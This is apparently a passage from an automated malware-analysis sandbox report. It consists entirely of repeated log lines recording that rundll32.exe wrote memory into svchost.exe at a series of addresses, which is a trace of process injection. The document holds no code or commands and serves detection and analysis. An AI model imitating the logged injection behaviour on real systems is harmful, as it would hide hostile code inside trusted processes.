Source: C:\Windows\System32\rundll32.exe	Memory written: C:\Windows\System32\svchost.exe base: 7FF70D7147A0	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Memory written: C:\Windows\System32\svchost.exe base: 7FF70D7147B0	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Memory written: C:\Windows\System32\svchost.exe base: 7FF70D7147C0	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Memory written: C:\Windows\System32\svchost.exe base: 7FF70D7147D0	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Memory written: C:\Windows\System32\svchost.exe base: 7FF70D7147E0	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Memory written: C:\Windows\System32\svchost.exe base: 7FF70D7147F0	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Memory written: C:\Windows\System32\svchost.exe base: 7FF70D714800	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Memory written: C:\Windows\System32\svchost.exe base: 7FF70D714810	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Memory written: C:\Windows\System32\svchost.exe base: 7FF70D714820	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Memory written: C:\Windows\System32\svchost.exe base: 7FF70D714830	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Memory written: C:\Windows\System32\svchost.exe base: 7FF70D714840	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Memory written: C:\Windows\System32\svchost.exe base: 7FF70D714850	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Memory written: C:\Windows\System32\svchost.exe base: 7FF70D714860	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Memory written: C:\Windows\System32\svchost.exe base: 7FF70D714870	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Memory written: C:\Windows\System32\svchost.exe base: 7FF70D714880	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Memory written: C:\Windows\System32\svchost.exe base: 7FF70D714890	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Memory written: C:\Windows\System32\svchost.exe base: 7FF70D7148A0	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Memory written: C:\Windows\System32\svchost.exe base: 7FF70D7148B0	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Memory written: C:\Windows\System32\svchost.exe base: 7FF70D7148C0	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Memory written: C:\Windows\System32\svchost.exe base: 7FF70D7148D0	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Memory written: C:\Windows\System32\svchost.exe base: 7FF70D7148E0	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Memory written: C:\Windows\System32\svchost.exe base: 7FF70D7148F0	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Memory written: C:\Windows\System32\svchost.exe base: 7FF70D714900	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Memory written: C:\Windows\System32\svchost.exe base: 7FF70D714910	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Memory written: C:\Windows\System32\svchost.exe base: 7FF70D714920	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Memory written: C:\Windows\System32\svchost.exe base: 7FF70D714930	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Memory written: C:\Windows\System32\svchost.exe base: 7FF70D714940	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Memory written: C:\Windows\System32\svchost.exe base: 7FF70D714950	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Memory written: C:\Windows\System32\svchost.exe base: 7FF70D714960	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Memory written: C:\Windows\System32\svchost.exe base: 7FF70D714970	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Memory written: C:\Windows\System32\svchost.exe base: 7FF70D714980	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Memory written: C:\Windows\System32\svchost.exe base: 7FF70D714990	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Memory written: C:\Windows\System32\svchost.exe base: 7FF70D7149A0	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Memory written: C:\Windows\System32\svchost.exe base: 7FF70D7149B0	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Memory written: C:\Windows\System32\svchost.exe base: 7FF70D7149C0	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Memory written: C:\Windows\System32\svchost.exe base: 7FF70D7149D0	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Memory written: C:\Windows\System32\svchost.exe base: 7FF70D7149E0	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Memory written: C:\Windows\System32\svchost.exe base: 7FF70D7149F0	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Memory written: C:\Windows\System32\svchost.exe base: 7FF70D714A00	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Memory written: C:\Windows\System32\svchost.exe base: 7FF70D714A10	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Memory written: C:\Windows\System32\svchost.exe base: 7FF70D714A20	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Memory written: C:\Windows\System32\svchost.exe base: 7FF70D714A30	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Memory written: C:\Windows\System32\svchost.exe base: 7FF70D714A40	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Memory written: C:\Windows\System32\svchost.exe base: 7FF70D714A50	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Memory written: C:\Windows\System32\svchost.exe base: 7FF70D714A60	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Memory written: C:\Windows\System32\svchost.exe base: 7FF70D714A70	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Memory written: C:\Windows\System32\svchost.exe base: 7FF70D714A80	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Memory written: C:\Windows\System32\svchost.exe base: 7FF70D714A90	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Memory written: C:\Windows\System32\svchost.exe base: 7FF70D714AA0	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Memory written: C:\Windows\System32\svchost.exe base: 7FF70D714AB0	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Memory written: C:\Windows\System32\svchost.exe base: 7FF70D714AC0	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Memory written: C:\Windows\System32\svchost.exe base: 7FF70D714AD0	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Memory written: C:\Windows\System32\svchost.exe base: 7FF70D714AE0	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Memory written: C:\Windows\System32\svchost.exe base: 7FF70D714AF0	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Memory written: C:\Windows\System32\svchost.exe base: 7FF70D714B00	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Memory written: C:\Windows\System32\svchost.exe base: 7FF70D714B10	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Memory written: C:\Windows\System32\svchost.exe base: 7FF70D714B20	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Memory written: C:\Windows\System32\svchost.exe base: 7FF70D714B30	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Memory written: C:\Windows\System32\svchost.exe base: 7FF70D714B40	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Memory written: C:\Windows\System32\svchost.exe base: 7FF70D714B50	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Memory written: C:\Windows\System32\svchost.exe base: 7FF70D714B60	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Memory written: C:\Windows\System32\svchost.exe base: 7FF70D714B70	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Memory written: C:\Windows\System32\svchost.exe base: 7FF70D714B80	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Memory written: C:\Windows\System32\svchost.exe base: 7FF70D714B90	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Memory written: C:\Windows\System32\svchost.exe base: 7FF70D714BA0	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Memory written: C:\Windows\System32\svchost.exe base: 7FF70D714BB0	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Memory written: C:\Windows\System32\svchost.exe base: 7FF70D714BC0	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Memory written: C:\Windows\System32\svchost.exe base: 7FF70D714BD0	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Memory written: C:\Windows\System32\svchost.exe base: 7FF70D714BE0	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Memory written: C:\Windows\System32\svchost.exe base: 7FF70D714BF0	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Memory written: C:\Windows\System32\svchost.exe base: 7FF70D714C00	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Memory written: C:\Windows\System32\svchost.exe base: 7FF70D714C10	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Memory written: C:\Windows\System32\svchost.exe base: 7FF70D714C20	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Memory written: C:\Windows\System32\svchost.exe base: 7FF70D714C30	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Memory written: C:\Windows\System32\svchost.exe base: 7FF70D714C40	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Memory written: C:\Windows\System32\svchost.exe base: 7FF70D714C50	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Memory written: C:\Windows\System32\svchost.exe base: 7FF70D714C60	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Memory written: C:\Windows\System32\svchost.exe base: 7FF70D714C70	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Memory written: C:\Windows\System32\svchost.exe base: 7FF70D714C80	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Memory written: C:\Windows\System32\svchost.exe base: 7FF70D714C90	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Memory written: C:\Windows\System32\svchost.exe base: 7FF70D714CA0	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Memory written: C:\Windows\System32\svchost.exe base: 7FF70D714CB0	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Memory written: C:\Windows\System32\svchost.exe base: 7FF70D714CC0	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Memory written: C:\Windows\System32\svchost.exe base: 7FF70D714CD0	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Memory written: C:\Windows\System32\svchost.exe base: 7FF70D714CE0	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Memory written: C:\Windows\System32\svchost.exe base: 7FF70D714CF0	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Memory written: C:\Windows\System32\svchost.exe base: 7FF70D714D00	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Memory written: C:\Windows\System32\svchost.exe base: 7FF70D714D10	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Memory written: C:\Windows\System32\svchost.exe base: 7FF70D714D20	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Memory written: C:\Windows\System32\svchost.exe base: 7FF70D714D30	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Memory written: C:\Windows\System32\svchost.exe base: 7FF70D714D40	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Memory written: C:\Windows\System32\svchost.exe base: 7FF70D714D50	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Memory written: C:\Windows\System32\svchost.exe base: 7FF70D714D60	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Memory written: C:\Windows\System32\svchost.exe base: 7FF70D714D70	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Memory written: C:\Windows\System32\svchost.exe base: 7FF70D714D80	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Memory written: C:\Windows\System32\svchost.exe base: 7FF70D714D90	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Memory written: C:\Windows\System32\svchost.exe base: 7FF70D714DA0	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Memory written: C:\Windows\System32\svchost.exe base: 7FF70D714DB0	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Memory written: C:\Windows\System32\svchost.exe base: 7FF70D714DC0	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Memory written: C:\Windows\System32\svchost.exe base: 7FF70D714DD0	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Memory written: C:\Windows\System32\svchost.exe base: 7FF70D714DE0	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Memory written: C:\Windows\System32\svchost.exe base: 7FF70D714DF0	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Memory written: C:\Windows\System32\svchost.exe base: 7FF70D714E00	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Memory written: C:\Windows\System32\svchost.exe base: 7FF70D714E10	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Memory written: C:\Windows\System32\svchost.exe base: 7FF70D714E20	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Memory written: C:\Windows\System32\svchost.exe base: 7FF70D7154D0	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Memory written: C:\Windows\System32\svchost.exe base: 7FF70D7154D8	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Memory written: C:\Windows\System32\svchost.exe base: 7FF70D7154E0	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Memory written: C:\Windows\System32\svchost.exe base: 7FF70D715710	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Memory written: C:\Windows\System32\svchost.exe base: 7FF70D715720	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Memory written: C:\Windows\System32\svchost.exe base: 7FF70D715730	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Memory written: C:\Windows\System32\svchost.exe base: 7FF70D715738	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Memory written: C:\Windows\System32\svchost.exe base: 7FF70D715740	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Memory written: C:\Windows\System32\svchost.exe base: 7FF70D715748	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Memory written: C:\Windows\System32\svchost.exe base: 7FF70D715750	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Memory written: C:\Windows\System32\svchost.exe base: 7FF70D715758	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Memory written: C:\Windows\System32\svchost.exe base: 7FF70D715760	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Memory written: C:\Windows\System32\svchost.exe base: 7FF70D715768	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Memory written: C:\Windows\System32\svchost.exe base: 7FF70D715778	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Memory written: C:\Windows\System32\svchost.exe base: 7FF70D715780	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Memory written: C:\Windows\System32\svchost.exe base: 7FF70D715788	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Memory written: C:\Windows\System32\svchost.exe base: 7FF70D715790	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Memory written: C:\Windows\System32\svchost.exe base: 7FF70D715798	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Memory written: C:\Windows\System32\svchost.exe base: 7FF70D7157A0	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Memory written: C:\Windows\System32\svchost.exe base: 7FF70D7157A8	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Memory written: C:\Windows\System32\svchost.exe base: 7FF70D7157B0	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Memory written: C:\Windows\System32\svchost.exe base: 7FF70D7157C8	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Memory written: C:\Windows\System32\svchost.exe base: 7FF70D7157D8	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Memory written: C:\Windows\System32\svchost.exe base: 7FF70D7157E8	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Memory written: C:\Windows\System32\svchost.exe base: 7FF70D7157F0	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Memory written: C:\Windows\System32\svchost.exe base: 7FF70D7157F8	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Memory written: C:\Windows\System32\svchost.exe base: 7FF70D715800	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Memory written: C:\Windows\System32\svchost.exe base: 7FF70D715808	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Memory written: C:\Windows\System32\svchost.exe base: 7FF70D715F80	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Memory written: C:\Windows\System32\svchost.exe base: 7FF70D715F88	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Memory written: C:\Windows\System32\svchost.exe base: 7FF70D715F90	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Memory written: C:\Windows\System32\svchost.exe base: 7FF70D715F98	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Memory written: C:\Windows\System32\svchost.exe base: 7FF70D715FA0	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Memory written: C:\Windows\System32\svchost.exe base: 7FF70D715FA8	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Memory written: C:\Windows\System32\svchost.exe base: 7FF70D715FB0	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Memory written: C:\Windows\System32\svchost.exe base: 7FF70D715FB8	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Memory written: C:\Windows\System32\svchost.exe base: 7FF70D715FC0	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Memory written: C:\Windows\System32\svchost.exe base: 7FF70D715FC8	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Memory written: C:\Windows\System32\svchost.exe base: 7FF70D715FD0	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Memory written: C:\Windows\System32\svchost.exe base: 7FF70D715FD8	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Memory written: C:\Windows\System32\svchost.exe base: 7FF70D715FE0	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Memory written: C:\Windows\System32\svchost.exe base: 7FF70D715FE8	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Memory written: C:\Windows\System32\svchost.exe base: 7FF70D715FF0	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Memory written: C:\Windows\System32\svchost.exe base: 7FF70D715FF8	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Memory written: C:\Windows\System32\svchost.exe base: 7FF70D716000	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Memory written: C:\Windows\System32\svchost.exe base: 7FF70D716008	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Memory written: C:\Windows\System32\svchost.exe base: 7FF70D716010	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Memory written: C:\Windows\System32\svchost.exe base: 7FF70D716018	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Memory written: C:\Windows\System32\svchost.exe base: 7FF70D716020	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Memory written: C:\Windows\System32\svchost.exe base: 7FF70D716028	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Memory written: C:\Windows\System32\svchost.exe base: 7FF70D716030	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Memory written: C:\Windows\System32\svchost.exe base: 7FF70D716038	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Memory written: C:\Windows\System32\svchost.exe base: 7FF70D716040	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Memory written: C:\Windows\System32\svchost.exe base: 7FF70D716048	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Memory written: C:\Windows\System32\svchost.exe base: 7FF70D716050	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Memory written: C:\Windows\System32\svchost.exe base: 7FF70D716058	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Memory written: C:\Windows\System32\svchost.exe base: 7FF70D716060	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Memory written: C:\Windows\System32\svchost.exe base: 7FF70D716068	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Memory written: C:\Windows\System32\svchost.exe base: 7FF70D716070	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Memory written: C:\Windows\System32\svchost.exe base: 7FF70D716078	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Memory written: C:\Windows\System32\svchost.exe base: 7FF70D716080	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Memory written: C:\Windows\System32\svchost.exe base: 7FF70D716088	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Memory written: C:\Windows\System32\svchost.exe base: 7FF70D716090	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Memory written: C:\Windows\System32\svchost.exe base: 7FF70D716098	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Memory written: C:\Windows\System32\svchost.exe base: 7FF70D7160A0	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Memory written: C:\Windows\System32\svchost.exe base: 7FF70D7160A8	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Memory written: C:\Windows\System32\svchost.exe base: 7FF70D7160B0	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Memory written: C:\Windows\System32\svchost.exe base: 7FF70D7160B8	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Memory written: C:\Windows\System32\svchost.exe base: 7FF70D7160C0	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Memory written: C:\Windows\System32\svchost.exe base: 7FF70D7160C8	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Memory written: C:\Windows\System32\svchost.exe base: 7FF70D7160D0	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Memory written: C:\Windows\System32\svchost.exe base: 7FF70D7160E0	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Memory written: C:\Windows\System32\svchost.exe base: 7FF70D7160E8	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Memory written: C:\Windows\System32\svchost.exe base: 7FF70D7160F0	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Memory written: C:\Windows\System32\svchost.exe base: 7FF70D7160F8	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Memory written: C:\Windows\System32\svchost.exe base: 7FF70D716100	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Memory written: C:\Windows\System32\svchost.exe base: 7FF70D716108	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Memory written: C:\Windows\System32\svchost.exe base: 7FF70D716110	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Memory written: C:\Windows\System32\svchost.exe base: 7FF70D716118	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Memory written: C:\Windows\System32\svchost.exe base: 7FF70D716120	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Memory written: C:\Windows\System32\svchost.exe base: 7FF70D716128	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Memory written: C:\Windows\System32\svchost.exe base: 7FF70D716130	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Memory written: C:\Windows\System32\svchost.exe base: 7FF70D716138	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Memory written: C:\Windows\System32\svchost.exe base: 7FF70D716140	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Memory written: C:\Windows\System32\svchost.exe base: 7FF70D716148	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Memory written: C:\Windows\System32\svchost.exe base: 7FF70D716150	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Memory written: C:\Windows\System32\svchost.exe base: 7FF70D716158	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Memory written: C:\Windows\System32\svchost.exe base: 7FF70D716160	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Memory written: C:\Windows\System32\svchost.exe base: 7FF70D716168	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Memory written: C:\Windows\System32\svchost.exe base: 7FF70D716170	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Memory written: C:\Windows\System32\svchost.exe base: 7FF70D716178	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Memory written: C:\Windows\System32\svchost.exe base: 7FF70D716180	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Memory written: C:\Windows\System32\svchost.exe base: 7FF70D716188	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Memory written: C:\Windows\System32\svchost.exe base: 7FF70D716190	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Memory written: C:\Windows\System32\svchost.exe base: 7FF70D716198	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Memory written: C:\Windows\System32\svchost.exe base: 7FF70D7161A0	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Memory written: C:\Windows\System32\svchost.exe base: 7FF70D7161A8	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Memory written: C:\Windows\System32\svchost.exe base: 7FF70D7161B0	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Memory written: C:\Windows\System32\svchost.exe base: 7FF70D7161B8	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Memory written: C:\Windows\System32\svchost.exe base: 7FF70D7161C0	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Memory written: C:\Windows\System32\svchost.exe base: 7FF70D7161C8	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Memory written: C:\Windows\System32\svchost.exe base: 7FF70D7161D0	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Memory written: C:\Windows\System32\svchost.exe base: 7FF70D7161D8	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Memory written: C:\Windows\System32\svchost.exe base: 7FF70D7161E0	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Memory written: C:\Windows\System32\svchost.exe base: 7FF70D7161E8	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Memory written: C:\Windows\System32\svchost.exe base: 7FF70D7161F0	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Memory written: C:\Windows\System32\svchost.exe base: 7FF70D7161F8	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Memory written: C:\Windows\System32\svchost.exe base: 7FF70D716200	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Memory written: C:\Windows\System32\svchost.exe base: 7FF70D716208	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Memory written: C:\Windows\System32\svchost.exe base: 7FF70D716210	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Memory written: C:\Windows\System32\svchost.exe base: 7FF70D716218	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Memory written: C:\Windows\System32\svchost.exe base: 7FF70D716220	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Memory written: C:\Windows\System32\svchost.exe base: 7FF70D716228	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Memory written: C:\Windows\System32\svchost.exe base: 7FF70D716230	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Memory written: C:\Windows\System32\svchost.exe base: 7FF70D716238	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Memory written: C:\Windows\System32\svchost.exe base: 7FF70D716600	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Memory written: C:\Windows\System32\svchost.exe base: 7FF70D716608	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Memory written: C:\Windows\System32\svchost.exe base: 7FF70D716610	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Memory written: C:\Windows\System32\svchost.exe base: 7FF70D716618	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Memory written: C:\Windows\System32\svchost.exe base: 7FF70D716620	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Memory written: C:\Windows\System32\svchost.exe base: 7FF70D716628	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Memory written: C:\Windows\System32\svchost.exe base: 7FF70D716630	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Memory written: C:\Windows\System32\svchost.exe base: 7FF70D716638	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Memory written: C:\Windows\System32\svchost.exe base: 7FF70D716640	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Memory written: C:\Windows\System32\svchost.exe base: 7FF70D716648	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Memory written: C:\Windows\System32\svchost.exe base: 7FF70D716650	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Memory written: C:\Windows\System32\svchost.exe base: 7FF70D716658	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Memory written: C:\Windows\System32\svchost.exe base: 7FF70D716660	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Memory written: C:\Windows\System32\svchost.exe base: 7FF70D716668	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Memory written: C:\Windows\System32\svchost.exe base: 7FF70D716670	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Memory written: C:\Windows\System32\svchost.exe base: 7FF70D716678	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Memory written: C:\Windows\System32\svchost.exe base: 7FF70D716680	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Memory written: C:\Windows\System32\svchost.exe base: 7FF70D716688	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Memory written: C:\Windows\System32\svchost.exe base: 7FF70D716690	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Memory written: C:\Windows\System32\svchost.exe base: 7FF70D716698	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Memory written: C:\Windows\System32\svchost.exe base: 7FF70D716C08	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Memory written: C:\Windows\System32\svchost.exe base: 7FF70D716C10	Jump to behavior
